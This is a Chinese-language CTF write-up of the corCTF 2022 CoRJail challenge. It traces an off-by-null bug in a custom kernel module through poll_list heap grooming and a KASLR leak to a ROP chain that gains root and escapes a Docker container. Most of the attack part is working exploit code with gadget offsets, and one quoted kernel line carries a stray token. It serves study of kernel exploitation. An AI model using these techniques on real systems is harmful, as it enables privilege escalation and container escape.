corCTF 2022-CoRJail:利用Linux kernel中的poll_list对象
2023-4-26 15:8:0 Author: xz.aliyun.com(查看原文) 阅读量:19 收藏

cormon_proc_write函数中存在一处很明显的off-by-null漏洞:

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
    [...]

    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count; // [1]当count等于PAGE_SIZE时,len等于PAGE_SIZE

    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC); // [2]申请一个PAGE_SIZE大小的堆块
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

    if (!syscalls)
    {
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
        return -ENOMEM;
    }

    if (copy_from_user(syscalls, ubuf, len)) // [3]从用户空间拷贝数据到内核空间
    {
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
        return -EFAULT;
    }

    syscalls[len] = '\x00'; // [4]当len=PAGE_SIZE时,syscalls[PAGE_SIZE] = '\x00',越界写null

    [...]
}

当写入字节为4096时,len被设置为4096,而syscalls[4096] = '\x00'会导致一个null字节写入界外。

由于作者为了展示在Google KCTF漏洞奖励计划中新颖的内核漏洞利用技术,也就是CVE-2022-27666中对应的exp7,给题目加了很多的限制:

保护全开

所有现代的保护措施,如内核地址空间布局随机化 (KASLR)、用户模式执行保护 (SMEP)、用户模式访问保护 (SMAP)、内核页面表隔离 (KPTI)、SLAB分配器随机化 (CONFIG_SLAB_FREELIST_RANDOM)、SLAB分配器硬化保护 (CONFIG_SLAB_FREELIST_HARDENED) 等都已启用CONFIG_STATIC_USERMODEHELPER被设置为 true迫使用户模式辅助程序通过单一的二进制文件调用,并且 CONFIG_STATIC_USERMODEHELPER_PATH 被设置为空字符串,即没有 modprobe_path 技巧CONFIG_DEBUG_FSCONFIG_KALLSYMS_ALL 被取消设置,使得许多符号在/proc/kallsyms中不可用。

减少内核攻击面

特意没有编译某些子系统,比如io_uringnftables,以减少攻击面。

禁用多个系统调用

CoRJail运行在一个定制的Debian Bullseye镜像的加固Docker容器上。默认的Docker seccomp配置文件被修改以阻止多个系统调用,包括msgget()/msgsnd()msgrcv()。定制的seccomp配置文件可以在这里找到。

漏洞利用用到了poll_list结构,seq_operations结构,user_key_payload结构,tty_file_private结构和pipe_buff结构。这里我主要介绍一下poll_list结构。

poll_list结构

poll_list结构体:

struct poll_list {
    struct poll_list *next; // 指向下一个poll_list
    int len; // 对应于条目数组中pollfd结构的数量
    struct pollfd entries[]; // 存储pollfd结构的数组
};

当我们使用poll函数来监视一个或多个文件描述符上的活动时,会在内核空间分配。

#include <fcntl.h>
#include <poll.h>
//int poll(struct pollfd fds[], nfds_t nfds, int timeout); 
//fds:一个pollfd结构的数组
//nfds:表示'fds'数组中的文件描述符数量
//timeout:表示超时时间,单位是毫秒。
int main(int argc, char *argv[]) {
    struct pollfd *pfds;
    int fd;
    int nfds = 256;
    int timeout = 3000;
    pfds = calloc(nfds,sizeof(struct pollfd));
    fd = open("/etc/passwd", O_RDONLY);
    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fd;
        pfds[i].events = POLLERR;
    }
    poll(pfds, nfds, timeout);
//将会进行阻塞,阻塞的时间由timeout决定
}

内核调用栈:

内核函数do_sys_poll()[4]处能申请到 kmalloc-32 到 kmalloc-4k 的内核堆:

#define POLL_STACK_ALLOC 256
#define PAGE_SIZE 4096

#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))

#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / \
            sizeof(struct pollfd))

[...]

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
        struct timespec64 *end_time)
{

    struct poll_wqueues table;
    int err = -EFAULT, fdcount, len;
    /* Allocate small arguments on the stack to save memory and be
        faster - use long to make sure the buffer is aligned properly
        on 64 bit archs to avoid unaligned access */
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; // [1]为了节省内存并提高速度而分配的堆栈
    struct poll_list *const head = (struct poll_list *)stack_pps;
    struct poll_list *walk = head;
    unsigned long todo = nfds;

    if (nfds > rlimit(RLIMIT_NOFILE))
        return -EINVAL;

    len = min_t(unsigned int, nfds, N_STACK_PPS); // [2]最多存储30个pollfd条目

    for (;;) {
        walk->next = NULL;
        walk->len = len;
        if (!len)
            break;

        if (copy_from_user(walk->entries, ufds + nfds-todo,
                    sizeof(struct pollfd) * walk->len))
            goto out_fds;

        todo -= walk->len;
        if (!todo)
            break;

        len = min(todo, POLLFD_PER_PAGE); // [3]每页最多可以分配POLLFD_PER_PAGE(510)个条目
        walk = walk->next = kmalloc(struct_size(walk, entries, len),
                        GFP_KERNEL); // [4]可以通过控制len,也就是控制被监控的文件描述符的数量来控制分配的大小,范围从 kmalloc-32 到 kmalloc-4k;
        if (!walk) {
            err = -ENOMEM;
            goto out_fds;
        }
    }

    poll_initwait(&table);
    fdcount = do_poll(head, &table, end_time); // [5]监视所提供的文件描述符,直到特定事件发生或定时器过期。[5]
    poll_freewait(&table);

    if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
        goto out_fds;

    for (walk = head; walk; walk = walk->next) {
        struct pollfd *fds = walk->entries;
        int j;

        for (j = walk->len; j; fds++, ufds++, j--)
            unsafe_put_user(fds->revents, &ufds->revents, Efault);
    }
    user_write_access_end();

    err = fdcount;
out_fds:
    walk = head->next;
    while (walk) { // [6]遍历单链表,释放每一个结构
        struct poll_list *pos = walk;
        walk = walk->next;
        kfree(pos);
    }

    return err;

Efault:
    user_write_access_end();
    err = -EFAULT;
    goto out_fds;
}

当我们调用poll函数,并向poll函数提供30+510+1个文件描述符时,poll_list在堆中的结构如下(还有30个在栈上):

在所有poll_list对象分配完之后,在[5]处有个对do_poll的调用,它将监视所提供的文件描述符,直到一个特定的事件发生或计时器过期。
值得注意的是poll_list是如何被释放的:在[6]处,一个while循环被用来遍历poll_list单链表并释放结构,这意味着我们可以通过覆盖poll_list->next指针造成越界释放的效果。同时while的判断条件是poll_list结构的第一个QWORD是否为空,这可以通过对齐错误的释放(假设你有一个指向对象X的指针,但第一个QWORD不为空。对齐错误的释放意味着从指针中减去N个字节,例如0x10字节,这样它就指向了内存中前一个对象的最后几个QWORD。然后释放这个指针指向的内存。劫持控制流的时候用到了这个技巧)或者我们可以简单地以第一个QWORD等于0的结构为目标来满足条件(泄露指针的时候用到了这个技巧)。

泄露内核基地址

我们采用poll_list对象,user_key_payload对象,seq_operations对象来泄露堆地址。

一些必要的初始化操作

首先,我们要打开有漏洞的模块。
使用assign_to_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
堆喷大量的seq_operations,填充kmalloc-32。

fd = open("/proc_rw/cormon", O_RDWR);

void assign_to_core(int core_id)
{
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }
}

    assign_to_core(0);

    for (int i = 0; i < 2048; i++)
        alloc_seq_ops(i);

用poll_list和user_key_payload进行堆布局

分配一些user_key_payload,注意user_key_payload的第一个QWORD必须为NULL。可以使用setxattr函数来设置:具体来说就是kmalloc申请的堆块不一定是为NULL的,不过堆块的申请与释放遵循LIFO原则,所以可以先用setxattr函数将堆块置空,再将堆块分配给user_key_payload结构。

int alloc_key(int id, char *buff, size_t size)
{
    char desc[256] = { 0 };
    char *payload;
    int key;
    size -= sizeof(struct user_key_payload);
    sprintf(desc, "payload_%d", id);
    payload = buff ? buff : calloc(1, size);
    if (!buff)
        memset(payload, id, size);    

    key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);

    if (key < 0)
    {
        perror("[X] add_key()");
        return -1;
    }    

    return key;
}

    for (int i = 0; i < 72; i++)
    {   
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

此时堆布局如下:未分配的块为白色,poll_list为绿色,user_key_payload为橙色。

再申请一些user_key_payload增大成功率,此时堆布局如下:

触发漏洞,将off-by-null转化为UAF

cormon进行写,将会调用定义的cormon_proc_write函数,触发漏洞,有概率篡改poll_list->next指针。

pthread_join函数等待线程结束,触发越界释放。

同时申请一些seq_operations结构,造成user_key_payload结构和seq_operations结构重叠。

void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {   
        pthread_join(poll_tid[i], NULL);          
        open("/proc/self/stat", O_RDONLY);
    }

    poll_threads = 0;
}

    write(fd, data, PAGE_SIZE);
    join_poll_threads();

用keyctl_read函数读数据,泄露基地址

char *get_key(int i, size_t size)
{
    char *data;

    data = calloc(1, size);
    keyctl_read(keys[i], data, size);
    return data;
}
    key = get_key(i, 0x10000);
    leak = (uint64_t *)key;

泄露内核堆地址

泄露内核堆地址主要是用到了user_key_payload结构和tty_file_private结构。
因为user_key_payload->datalen刚好被seq_operations->single_next覆盖为一个很大的值,所以可以用来越界读,读取的对象是tty_file_private,可以通过open("/dev/ptmx",O_RDWR | O_NOCTTY)打开。

void free_key(int i){
    keyctl_revoke(keys[i]);
    keyctl_unlink(keys[i],-2);
    n_keys--;
}

void free_all_keys( bool skip_corrupted_key){
    int total = n_keys;
    for(int i = 0;i<total;i++){
        if(skip_corrupted_key && i == corrupted_key)
            continue;
        free_key(i);
    }
    sleep(1);
}
void alloc_tty(int i){
    ptmx[i] = open("/dev/ptmx",O_RDWR | O_NOCTTY);
    if (ptmx[i] < 0)
    {
        perror("[X] alloc_tty()");
        exit(1);
    }
}

    key = read_key(corrupted_key,0x20000);
    leak = (uint64_t*)key;

劫持控制流

劫持控制流用到了poll_list对象,user_key_payload对象和pipe_buffer对象。
首先用close()释放掉被seq_operationsuser_key_payload占据的堆块。
然后用poll_list对象占据,此时UAF的堆块被user_key_payloadpoll_list占据。
释放掉user_key_payload对象,接着用setxattr函数将堆块的第一个QWORD改为泄露出来的堆地址-0x18,这样接下来就能刚好在堆地址起始处伪造pipe_buffer结构。将 anon_pipe_buf_ops覆盖为指向我们的rop链的指针,然后close就能成功提权。

for (int i = 2048; i < 2048 + 128; i++)
        free_seq_ops(i);  //释放seq_operations
    assign_to_core(randint(1, 3));

    for (int i = 0; i < 192; i++)
        create_poll_thread(i, 24, 3000, true);//创建0x20大小的poll_list对象

    assign_to_core(0);

    while (poll_threads != 192) { }; 
    usleep(250000);
    free_key(corrupted_key);  //释放掉有漏洞的user__key_payload对象
    sleep(1); // GC key
    *(uint64_t *)&data[0] = target_object - 0x18;

    for (int i = 0; i < MAX_KEYS; i++)
    {
        setxattr("/home/hi/lol.txt", "user.x", data, 32, XATTR_CREATE); //将poll_list->next改为泄露出来的堆地址-0x18
        keys[i] = alloc_key(n_keys++, key, 32); //起的是一个占位作用,避免堆块被其它的结构污染
    }
    for (int i = 0; i < 72; i++)
        free_tty(i);

    sleep(1); // GC TTYs
    for (int i = 0; i < 1024; i++)
        alloc_pipe_buff(i);
    while (poll_threads != 0) {};
    free_all_keys(false); //释放掉所有的user_key_payload,因为add_key能申请的key是有上限的,超过了就无法申请
    for (int i = 0; i < 31; i++)
        keys[i] = alloc_key(n_keys++, buff, 600);       //从0开始伪造 pipe_buffer
    for (int i = 0; i < 1024; i++)
        release_pipe_buff(i);     //劫持控制流

ROP

我们将anon_pipe_buf_ops指向rop链来劫持控制流(栈迁移)[1],然后用prepare_kernel_cred() [2]commit_creds() [3] 来提权,然后我们用find_task_by_vpid() [4] 来定位Docker容器任务,我们用switch_task_namespaces() [5] 将其nsproxy结构改为init_nsproxy。但这还不足以从容器中逃逸。
在Docker容器中,与谷歌的kCTF不同,setns()被seccomp默认屏蔽了,这意味着我们在返回用户空间后不能用它来进入其他命名空间。我们需要找到一种替代方法,并且需要在ROP链中实现它。
阅读setns()的源代码,我们可以看到它调用commit_nsset()来实际移动任务到不同的命名空间。我们可以用copy_fs_struct()复制它的做法,克隆init_fs结构[6],然后用find_task_by_vpid() 定位当前任务[7],用 gadget 手动安装新fs_struct。[8]
我们最后可以使用swapgs_restore_regs_and_return_to_usermode绕过KPTI,在主机上获得一个shell。[9]

buff = (char *)calloc(1, 1024);

// Stack pivot    [1]
*(uint64_t *)&buff[0x10] = target_object + 0x30;             // anon_pipe_buf_ops
*(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
*(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
*(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

// ROP
rop = (uint64_t *)&buff[0x80];

// creds = prepare_kernel_cred(0)   [2]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 0;                                // 0
*rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred

// commit_creds(creds)    [3]
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0;                                // 0
*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_base + 0xffffffff810eba40; // commit_creds

// task = find_task_by_vpid(1)    [4]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 1;                                // pid
*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

// switch_task_namespaces(task, init_nsproxy)    [5]
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0;                                // 0
*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
*rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
*rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces

// new_fs = copy_fs_struct(init_fs)    [6]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= kernel_base + 0xffffffff82589740; // init_fs;
*rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
*rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

// current = find_task_by_vpid(getpid())    [7]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= getpid();                         // pid
*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

// current->fs = new_fs    [8]
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0x6e0;                            // current->fs
*rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
*rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
*rop ++= 0;                                // rbx

// kpti trampoline    [9]
*rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
*rop ++= 0;
*rop ++= 0;
*rop ++= (uint64_t)&win;
*rop ++= usr_cs;
*rop ++= usr_rflags;
*rop ++= (uint64_t)(stack + 0x5000);
*rop ++= usr_ss;

利用成功截图(题目需要ext4文件系统,可以用create-image.sh制作或者从其他地方copy一份过来):

exploit.c
[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel
【Exploit trick】利用poll_list对象构造kmalloc-32任意释放 (corCTF 2022-CoRJail)
题目环境


文章来源: https://xz.aliyun.com/t/12488
如有侵权请联系:admin#unsafe.sh